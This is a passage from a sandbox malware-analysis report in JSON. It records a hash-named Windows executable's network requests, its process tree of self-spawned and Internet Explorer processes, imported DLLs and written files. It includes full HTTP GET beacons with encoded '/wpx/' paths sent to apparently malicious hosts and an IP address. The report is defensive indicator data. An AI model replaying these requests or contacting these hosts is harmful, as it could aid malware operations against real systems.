/wpx/8iguPIEBLRPsBgDd5/WP568XYeOA3_/2FQHrbQ_2F_/2BMQYaJ5L9D1I1/CY1nND2ZvhZsYpTXYeP62/HFbLom3kVPU7_2Bz/cHyYeFJpYAMYVcB/qAmUyAwPSF6DOD7yK8/MjkHVTd0a/yAU3iJ8yTXn_2BNpQDlh/cq1ks0I6h5QzrMK92DT/mS2LkkwMR_2FxmPdjW2whU/dbgzWTOCtxzCO/ZAE5q0N2ah0Uzr/5r_2F95 HTTP/1.1\nAccept: */*\nAccept-Language: en-us\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\nAccept-Encoding: gzip, deflate\nHost: x1.eromov.at\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"host":"chat.ahohri.at","host_ip":"47.254.154.76:80","url":"/wpx/BPwSVDGvh6puxVK8J/rbz_2Fr1oKbo/g6_2BCRYIUG/YOnjvlACeDiVCN/IPrgnL94MaoFEw7f1Uqyr/4lqEhgrDIBKztAER/9nPqQWpR6rmxrtd/j4aTTeyehvKp2sQMI4/u0whF6dFY/MHMthvArdhChwMZ3TFZo/llr5yKQLPgzah3mDH1P/fANWu5Fx5bdgBkm6a5oKtn/hzfTWDSmYkc9U/3E8bUCl9W5/1","method":"GET","header":"GET /wpx/BPwSVDGvh6puxVK8J/rbz_2Fr1oKbo/g6_2BCRYIUG/YOnjvlACeDiVCN/IPrgnL94MaoFEw7f1Uqyr/4lqEhgrDIBKztAER/9nPqQWpR6rmxrtd/j4aTTeyehvKp2sQMI4/u0whF6dFY/MHMthvArdhChwMZ3TFZo/llr5yKQLPgzah3mDH1P/fANWu5Fx5bdgBkm6a5oKtn/hzfTWDSmYkc9U/3E8bUCl9W5/1 HTTP/1.1\nAccept: */*\nAccept-Language: en-us\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\nAccept-Encoding: gzip, deflate\nHost: chat.ahohri.at\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}],"processes":[{"pid":2852,"ppid":0,"name":"8699504581b66c1103731360d971270414f99637a2121f1a2f937096937b1052.exe","command_line":"","sha256":"8699504581b66c1103731360d971270414f99637a2121f1a2f937096937b1052","normalized_path":"C:\\8699504581b66c1103731360d971270414f99637a2121f1a2f937096937b1052.exe","uid":"00058974-00002852","icon":"$2b"},{"pid":3944,"ppid":2852,"name":"8699504581b66c1103731360d971270414f99637a2121f1a2f937096937b1052.exe","command_line":"","sha256":"8699504581b66c1103731360d971270414f99637a2121f1a2f937096937b1052","normalized_path":"C:\\8699504581b66c1103731360d971270414f99637a2121f1a2f937096937b1052.exe","parent_uid":"00058974-00002852","uid":"00059594-00003944"},{"pid":3364,"ppid":0,"name":"iexplore.exe","command_line":"-Embedding","sha256":"e285feeca968b3ca22017a64363eea5e69ccd519696671df523291b089597875","normalized_path":"%PROGRAMFILES%\\Internet Explorer\\iexplore.exe","uid":"00061854-00003364","icon":"$2c"},{"pid":4024,"ppid":3364,"name":"iexplore.exe","command_line":"SCODEF:3364 CREDAT:79873","sha256":"e285feeca968b3ca22017a64363eea5e69ccd519696671df523291b089597875","normalized_path":"%PROGRAMFILES%\\Internet Explorer\\iexplore.exe","parent_uid":"00061854-00003364","uid":"00062543-00004024"},{"pid":2568,"ppid":0,"name":"iexplore.exe","command_line":"-Embedding","sha256":"e285feeca968b3ca22017a64363eea5e69ccd519696671df523291b089597875","normalized_path":"%PROGRAMFILES%\\Internet Explorer\\iexplore.exe","uid":"00066111-00002568","icon":"$2d"},{"pid":3112,"ppid":2568,"name":"iexplore.exe","command_line":"SCODEF:2568 CREDAT:79873","sha256":"e285feeca968b3ca22017a64363eea5e69ccd519696671df523291b089597875","normalized_path":"%PROGRAMFILES%\\Internet Explorer\\iexplore.exe","parent_uid":"00066111-00002568","uid":"00066747-00003112"},{"pid":2804,"ppid":0,"name":"iexplore.exe","command_line":"-Embedding","sha256":"e285feeca968b3ca22017a64363eea5e69ccd519696671df523291b089597875","normalized_path":"%PROGRAMFILES%\\Internet Explorer\\iexplore.exe","uid":"00069931-00002804","icon":"$2e"},{"pid":3656,"ppid":2804,"name":"iexplore.exe","command_line":"SCODEF:2804 CREDAT:79873","sha256":"e285feeca968b3ca22017a64363eea5e69ccd519696671df523291b089597875","normalized_path":"%PROGRAMFILES%\\Internet Explorer\\iexplore.exe","parent_uid":"00069931-00002804","uid":"00070615-00003656"},{"pid":2360,"ppid":0,"name":"iexplore.exe","command_line":"-Embedding","sha256":"e285feeca968b3ca22017a64363eea5e69ccd519696671df523291b089597875","normalized_path":"%PROGRAMFILES%\\Internet Explorer\\iexplore.exe","uid":"00073942-00002360","icon":"$2f"},{"pid":2240,"ppid":2360,"name":"iexplore.exe","command_line":"SCODEF:2360 CREDAT:79873","sha256":"e285feeca968b3ca22017a64363eea5e69ccd519696671df523291b089597875","normalized_path":"%PROGRAMFILES%\\Internet Explorer\\iexplore.exe","parent_uid":"00073942-00002360","uid":"00074570-00002240"},{"pid":3384,"ppid":0,"name":"iexplore.exe","command_line":"-Embedding","sha256":"e285feeca968b3ca22017a64363eea5e69ccd519696671df523291b089597875","normalized_path":"%PROGRAMFILES%\\Internet Explorer\\iexplore.exe","uid":"00077788-00003384","icon":"$30"},{"pid":3936,"ppid":3384,"name":"iexplore.exe","command_line":"SCODEF:3384 CREDAT:79873","sha256":"e285feeca968b3ca22017a64363eea5e69ccd519696671df523291b089597875","normalized_path":"%PROGRAMFILES%\\Internet Explorer\\iexplore.exe","parent_uid":"00077788-00003384","uid":"00078410-00003936"}],"all_imported_dlls":["userenv.dll","URLREDIR.DLL","sqmapi.dll","rasapi32.dll","rsaenh.dll","fastprox.dll","dnsapi.dll","ieproxy.dll","version.dll","msxml3r.dll","user32.dll","comctl32.dll","profapi.dll","duser.dll","mshtml.dll","jscript.dll","psapi.dll","mswsock.dll","dui70.dll","cfgmgr32.dll","ssv.dll","MSOHEV.DLL","jp2ssv.dll","msls31.dll","sspicli.dll","RpcRtRemote.dll","sxs.dll","rasman.dll","WSHTCPIP.DLL","msvcr90.dll","ntdll.dll","msctf.dll","cryptbase.dll","cryptsp.dll","ntmarta.dll","rpcss.dll","NapiNSP.dll","dhcpcsvc.dll","msvcrt.dll","rpcrt4.dll","advapi32.dll","wbemsvc.dll","netprofm.dll","npmproxy.dll","dhcpcsvc6.dll","ExplorerFrame.dll","imm32.dll","oleaccrc.dll","mlang.dll","normaliz.dll","pngfilt.dll","sechost.dll","clbcatq.dll","ws2_32.dll","urlmon.dll","msasn1.dll","msfeeds.dll","linkinfo.dll","secur32.dll","kernel32.dll","usp10.dll","apphelp.dll","crypt32.dll","Wldap32.dll","IPHLPAPI.DLL","nlaapi.dll","msxml3.dll","winnsi.dll","lpk.dll","wbemprox.dll","shell32.dll","rasadhlp.dll","ieui.dll","msimg32.dll","url.dll","KernelBase.dll","wbemcomn.dll","nsi.dll","oleacc.dll","comdlg32.dll","setupapi.dll","msvcr100.dll","imagehlp.dll","gdi32.dll","propsys.dll","ONBttnIELinkedNotes.dll","deploy.dll","msimtf.dll","imgutil.dll","ole32.dll","ieframe.dll","wininet.dll","SensApi.dll","iecompat.dll","ONBttnIE.dll","iepeers.dll","oleaut32.dll","dwmapi.dll","rtutils.dll","winrnr.dll","wship6.dll","FWPUCLNT.DLL","xmllite.dll","IEShims.dll","shlwapi.dll","uxtheme.dll","ntdsapi.dll","iertutil.dll","pnrpnsp.dll","devobj.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"httpErrorPagesScripts[1]","sha256":"58268ca71a28973b756a48bbd7c9dc2f6b87b62ae343e582ce067c725275b63c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"RecoveryStore.{2FD88FB3-D288-11E8-A9FB-0A0027BB3F0D}.dat","sha256":"b7a685ee89932ca73b518157006d06a47d56de7dd41e75f3400226f66369c011","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"RecoveryStore.{40FCA783-D272-11E8-A9FB-0A0027BB3F0D}.dat","sha256":"ce5cffd8832fac24fc95edde99c5ab0d32ecd0910a000cf689fc2f08ed07ab1a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"RecoveryStore.{6DDACCA3-D27D-11E8-A9FB-0A0027BB3F0D}.dat","sha256":"fe3ba8f56eb49b2a03cb64365a4d3226256580050280e1a911c19e3741799ca1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"RecoveryStore.{E0CE6B03-D282-11E8-A9FB-0A0027BB3F0D}.dat","sha256":"7a8ad715b81a7fbc27d405e0afe3a0aac8826b8a59e4693bfa2d8f4f6a509f47","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"RecoveryStore.{FB8AAF53-D277-11E8-A9FB-0A0027BB3F0D}.dat","sha256":"517c5a60e372af6363b8b70480a5e6429a9ada4f1b5bc0017b44c2a4601fc50a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"{2FD88FB4-D288-11E8-A9FB-0A0027BB3F0D}.dat","sha256":"f062aea2702c3b1c27d7531c75a59ad2c4c69ef78fb0ac38b8f6867671d750ee","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"{40FCA784-D272-11E8-A9FB-0A0027BB3F0D}.dat","sha256":"f80f9ba595352d6f86556245d45db99076e1d538948e12daa4a031f902a93b97","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"{6DDACCA4-D27D-11E8-A9FB-0A0027BB3F0D}.dat","sha256":"222c33f7008c2ce174b01776ec6afb7cf67d472eeb369bc8ac94fb4a298bb94c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"{E0CE6B04-D282-11E8-A9FB-0A0027BB3F0D}.dat","sha256":"81490cb18043c7c1b0188d11c1e398b07eacad06aaf6b90cbf16c6b70a512116","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"{FB8AAF54-D277-11E8-A9FB-0A0027BB3F0D}.dat","sha256":"8ba384198825b13fcba7dfd6289355e9dfcfc8d3523bcd300580a13dcfb8b659","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"ErrorPageTemplate[1]","sha256":"8d018639281b33da8eb3ce0b21d11e1d414e59024c3689f92be8904eb5779b5f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"favcenter[1]","sha256":"07d07a467e4988d3c377acd6dc9e53abca6b64e8fbf70f6be19d795a1619289b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"background_gradient[1]","sha256":"1471693be91e53c2640fe7baeecbc624530b088444222d93f2815dfce1865d5b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"errorPageStrings[1]","sha256":"eb5678de9d8f29ca6893d4e6ca79bd5ab4f312813820fe4997b009a2b1a1654c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"noConnect[1]","sha256":"6976c426e3ac66d66303c114b22b2b41109a7de648ba55ffc3e5a53bd0db09e7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"tools[1]","sha256":"62a7038cc42c1482d70465192318f21fc1ce0f0c737cb8804137f38a1f9d680b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"dnserror[1]","sha256":"1ff3334c3eb27033f8f37029fd72f648edd4551fce85fc1f5159feaea1439630","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"down[1]","sha256":"70f316a5492848bb8242d49539468830b353ddaa850964db4e60a6d2d7db4880","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"name":"JavaDeployReg.log","sha256":"7c4f1996e01e0b41c72d2343f0cdddaa18db11ba4f3c7af48e071bae30c8261e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]}],"files_written":[{"path":"C:\\8699504581b66c1103731360d971270414f99637a2121f1a2f937096937b1052.exe","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%WINDIR%\\System32\\ntdll.dll","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\Recovery\\High\\Active\\RecoveryStore.{40FCA783-D272-11E8-A9FB-0A0027BB3F0D}.dat","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DFD236DF6ADCBA0EF6.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\Recovery\\High\\Active\\{40FCA784-D272-11E8-A9FB-0A0027BB3F0D}.dat","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DFAB7BA8D1DD40972C.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DF0D9D725FBDF53657.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DF42A4B4A9D9FA0283.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DF72B4DAA66B49BB75.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DF1FF778F2F7CB9596.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DF312514672E93FDDB.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DFCC49D80FC80DB900.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\Recovery\\High\\Active\\RecoveryStore.{FB8AAF53-D277-11E8-A9FB-0A0027BB3F0D}.dat","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DFFB25979BEBB0AB06.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\Recovery\\High\\Active\\{FB8AAF54-D277-11E8-A9FB-0A0027BB3F0D}.dat","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DF53D3EC81E9C37DE1.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DF01ADE7CBDB1A5BDF.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DFCF09920FB61A0868.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DF022DCCCA1E466CA5.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DFFAE4286CCF3B9A1E.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DFA680C40C143E1E61.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DF095611A37D24D6D7.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\Recovery\\High\\Active\\RecoveryStore.{6DDACCA3-D27D-11E8-A9FB-0A0027BB3F0D}.dat","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DF64C75F10686FA324.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\Recovery\\High\\Active\\{6DDACCA4-D27D-11E8-A9FB-0A0027BB3F0D}.dat","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DFACC62FECBC2820F2.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DFF9D07664D3E1DB11.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DFB1055770A5E1FCE1.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DFD0B68C5523B7FFF6.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DFA81DBF8D67E2CC3A.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DFB766E56E7289527B.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DF1FE4B103798957BB.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\7N5LGTOO\\dnserror[1]","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\BPL0BFI3\\ErrorPageTemplate[1]","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\ADO3AVS6\\errorPageStrings[1]","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\BPL0BFI3\\httpErrorPagesScripts[1]","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\ADO3AVS6\\noConnect[1]","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\VPF8NG92\\background_gradient[1]","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\7N5LGTOO\\down[1]","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\BPL0BFI3\\favcenter[1]","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\ADO3AVS6\\tools[1]","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\Recovery\\High\\Active\\RecoveryStore.{E0CE6B03-D282-11E8-A9FB-0A0027BB3F0D}.dat","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DF8DAEEE8A51A5D732.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\Recovery\\High\\Active\\{E0CE6B04-D282-11E8-A9FB-0A0027BB3F0D}.dat","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DF28804B573A2DE332.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DF83B90A01995CA578.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DFCC17D90B25D87D18.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DF8938C3B7DA52D8A8.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DF322455B7BB2E642B.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DF091774B654A6705E.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DF6C0B9B355F52E220.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Low","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\Low","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%APPDATA%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\Low","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\PrivacIE\\Low","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\PrivacIE","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IECompatCache\\Low","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IECompatCache","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IETldCache\\Low","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IETldCache","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\Low","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%PROGRAMFILES%\\Internet Explorer\\iexplore.exe","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%PROGRAMFILES%\\Internet Explorer\\en\\iexplore.exe.mui","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%PROGRAMFILES%\\Internet Explorer\\en-US\\iexplore.exe.mui","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%WINDIR%\\System32\\oleaccrc.dll","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%WINDIR%\\System32\\en-US\\setupapi.dll.mui","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Favorites\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"C:\\share","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\Recovery\\High\\Active\\RecoveryStore.{2FD88FB3-D288-11E8-A9FB-0A0027BB3F0D}.dat","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%TEMP%\\~DF33B5AD2052E8D95A.TMP","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%WINDIR%\\System32\\url.dll","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%PROGRAMFILES%\\MICROS~3\\Office14\\ONBttnIE.dll","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%PROGRAMFILES%\\MICROS~3\\Office14\\ONBTTN~1.DLL","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"5bc7443e7ca3e11508446b83"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet 